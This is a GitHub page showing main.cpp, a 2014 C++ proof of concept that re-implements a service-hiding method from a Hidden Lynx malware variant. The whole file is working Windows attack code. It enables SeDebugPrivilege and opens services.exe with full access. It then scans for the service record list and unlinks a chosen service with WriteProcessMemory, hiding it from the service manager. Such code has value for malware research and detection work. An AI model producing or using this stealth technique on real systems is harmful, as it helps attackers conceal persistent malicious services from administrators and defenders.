-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.cpp
executable file
·268 lines (240 loc) · 8.36 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
/* Copyright (c) 2014 Branden Clark
* MIT License: See LICENSE for details.
* It's only used because it's the least restrictive license I could find.
* Description:
* Unlinking services from the service record list POC.
* Re-implementation of a method from a Hidden Lynx malware variant.
*/
#include <windows.h>
#include <tchar.h>
#include <strsafe.h>
#include <aclapi.h>
#include <stdio.h>
#include <tlhelp32.h>
#pragma comment(lib, "advapi32.lib")
#define HS_INFO_BUFFER_SIZE 32767
#define HS_MAX_LEN_SVC_NAME 80
typedef struct hs_svc_entry {
void *prev_ptr;
void *next_ptr;
TCHAR *svc_name;
TCHAR *svc_display_name;
int list_index;
int unk_1;
int magic_sErv;
int unk_2;
int unk_3;
int unk_4;
SERVICE_STATUS svc_status;
} hs_svc_entry;
typedef hs_svc_entry * HS_LPSVC_ENTRY;
TCHAR hs_szSvcName[HS_MAX_LEN_SVC_NAME];
/* Main functions */
VOID hs_do_unlink_svc(void);
HANDLE hs_get_services_handle(void);
LPVOID hs_find_svc_record_list(HANDLE hServices);
HS_LPSVC_ENTRY hs_find_svc_entry(HANDLE hServices, LPVOID svc_record_list);
BOOL hs_unlink_svc(HANDLE hServices, HS_LPSVC_ENTRY my_svc_entry);
/* Helpers */
VOID hs_display_usage(void);
BOOL hs_set_SeDebugPrivilege();
void _tmain(int argc, TCHAR *argv[])
{
if( argc != 2 )
{
printf("ERROR: Incorrect number of arguments\n");
hs_display_usage();
return;
}
StringCchCopy(hs_szSvcName, HS_MAX_LEN_SVC_NAME, argv[1]);
hs_do_unlink_svc();
}
VOID hs_display_usage()
{
printf("Description:\n");
printf("\tCommand-line tool that unlinks a service "
"from the service record list.\n");
printf("Usage:\n");
printf("\tunlink_svc [service_name]\n");
}
VOID hs_do_unlink_svc()
{
bool error = FALSE;
if(!hs_set_SeDebugPrivilege())
goto fail;
// Get a handle to services.exe (process)
HANDLE hServices = hs_get_services_handle();
if (hServices == INVALID_HANDLE_VALUE)
goto fail;
// Find the first entry in the service record list
LPVOID svc_record_list = hs_find_svc_record_list(hServices);
if (svc_record_list == NULL)
goto fail;
// Find the requested entry by name
HS_LPSVC_ENTRY my_svc_entry = hs_find_svc_entry(hServices, svc_record_list);
if (my_svc_entry == NULL)
goto fail;
// Unlink the requested entry
if (!hs_unlink_svc(hServices, my_svc_entry))
goto fail;
end:
_tprintf(TEXT("%s %s from the service record list.\n"),
(error) ? TEXT("Failed to unlink") : TEXT("Sucessfully unlinked"),
hs_szSvcName);
return;
fail:
error = TRUE;
goto end;
}
BOOL hs_set_SeDebugPrivilege()
{
HANDLE hProcess;
HANDLE hToken;
TOKEN_PRIVILEGES dbg_tp;
LUID dbg_luid;
DWORD my_pid = GetCurrentProcessId();
// Get my access token
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION, FALSE, my_pid);
if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken))
return FALSE;
// Lookup value for SeDebugPrivilege
if (!LookupPrivilegeValue(NULL, TEXT("SeDebugPrivilege"), &dbg_luid)) {
return FALSE;
}
// Escalate my privileges
dbg_tp.PrivilegeCount = 1;
dbg_tp.Privileges[0].Luid = dbg_luid;
dbg_tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &dbg_tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) ||
GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
return FALSE;
}
return TRUE;
}
HANDLE hs_get_services_handle()
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
// Begin process enumeration
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
return INVALID_HANDLE_VALUE;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
CloseHandle(hProcessSnap);
return INVALID_HANDLE_VALUE;
}
// Enumerate the processes
do {
if (lstrcmpi(pe32.szExeFile, TEXT("services.exe")) == 0) {
CloseHandle(hProcessSnap);
return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return INVALID_HANDLE_VALUE;
}
LPVOID hs_find_svc_record_list(HANDLE hServices)
{
TCHAR info_buf[HS_INFO_BUFFER_SIZE];
DWORD bytes_read = 0;
SYSTEM_INFO sys_info;
DWORD alloc_gran = 0;
HS_LPSVC_ENTRY ret = 0;
DWORD tmp_buf = 0;
HANDLE svc_file = INVALID_HANDLE_VALUE;
HANDLE file_map = INVALID_HANDLE_VALUE;
LPDWORD file_view = NULL;
// Open services.exe
GetSystemDirectory(info_buf, HS_INFO_BUFFER_SIZE);
StringCchCat(info_buf, HS_INFO_BUFFER_SIZE, TEXT("\\services.exe"));
svc_file = CreateFile(info_buf, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (svc_file == INVALID_HANDLE_VALUE)
goto fail;
// Get allocation granularity
GetSystemInfo(&sys_info);
alloc_gran = sys_info.dwAllocationGranularity;
// Create mapping for file
file_map = CreateFileMapping(svc_file, NULL, PAGE_READONLY, 0, alloc_gran, TEXT("hs_services_mapping"));
if (file_map == INVALID_HANDLE_VALUE)
goto fail;
// Search for service record list head
for (DWORD x = 0; x < HS_INFO_BUFFER_SIZE; x+=alloc_gran) {
// Map file to memory
file_view = (LPDWORD)MapViewOfFile(file_map, FILE_MAP_READ, 0, x, alloc_gran);
if (file_view == INVALID_HANDLE_VALUE || file_view == NULL) {
goto fail;
}
// Scan memory for service record list head
for (LPBYTE y = (LPBYTE)file_view; (LPDWORD)y < file_view+(alloc_gran/sizeof(DWORD)); y+=1) {
if (*((LPDWORD)y) == 0xA1909090) {
if (*(((LPDWORD)y)+2) == 0x909090C3) {
// Get first real entry from head
if(!ReadProcessMemory(hServices, (LPVOID)*(((LPDWORD)y)+1), &ret, 4, &bytes_read) ||
bytes_read != 4) {
goto fail;
}
// Get service entry magic number
if(!ReadProcessMemory(hServices, ((LPDWORD)ret)+6, &tmp_buf, 4, &bytes_read) ||
bytes_read != 4) {
goto fail;
}
// Check magic number
UnmapViewOfFile(file_view);
if (tmp_buf == 0x76724573/*sErv*/) {
return ret;
}
}
}
}
UnmapViewOfFile(file_view);
file_view = NULL;
}
fail:
CloseHandle(svc_file);
UnmapViewOfFile(file_view);
CloseHandle(file_map);
return NULL;
}
HS_LPSVC_ENTRY hs_find_svc_entry(HANDLE hServices, LPVOID svc_record_list)
{
HS_LPSVC_ENTRY lpsvc_entry = (HS_LPSVC_ENTRY)svc_record_list;
LPDWORD lpsvc_name;
TCHAR svc_name[HS_MAX_LEN_SVC_NAME];
SIZE_T bytes_read = 0;
// Find the service entry with specified name
do {
// Read svc_name ptr
if (!ReadProcessMemory(hServices, ((LPDWORD)lpsvc_entry)+2,
&lpsvc_name, 4, &bytes_read) || bytes_read != 4) {
return NULL;
}
// Read svc_name
if (!ReadProcessMemory(hServices, lpsvc_name,
svc_name, HS_MAX_LEN_SVC_NAME, &bytes_read) || bytes_read != HS_MAX_LEN_SVC_NAME) {
return NULL;
}
// Is this the right service entry?
if (lstrcmpi(svc_name, hs_szSvcName) == 0) {
return lpsvc_entry;
}
// Go to next entry
} while (lpsvc_entry != NULL &&
ReadProcessMemory(hServices, ((LPDWORD)lpsvc_entry)+1, &lpsvc_entry, 4, &bytes_read) &&
bytes_read == 4);
return NULL;
}
BOOL hs_unlink_svc(HANDLE hServices, HS_LPSVC_ENTRY my_svc_entry)
{
hs_svc_entry tmp_buf;
DWORD num_bytes = 0;
if (!ReadProcessMemory(hServices, my_svc_entry, &tmp_buf, 8, &num_bytes) || num_bytes != 8)
return FALSE;
// my_prev->next = my_next
if (!WriteProcessMemory(hServices, ((LPDWORD)tmp_buf.prev_ptr) + 1, &tmp_buf.next_ptr, 4, &num_bytes) || num_bytes != 4)
return FALSE;
// my_next->prev = my_prev
if (!WriteProcessMemory(hServices, tmp_buf.next_ptr, &tmp_buf.prev_ptr, 4, &num_bytes) || num_bytes != 4)
return FALSE;
return TRUE;
}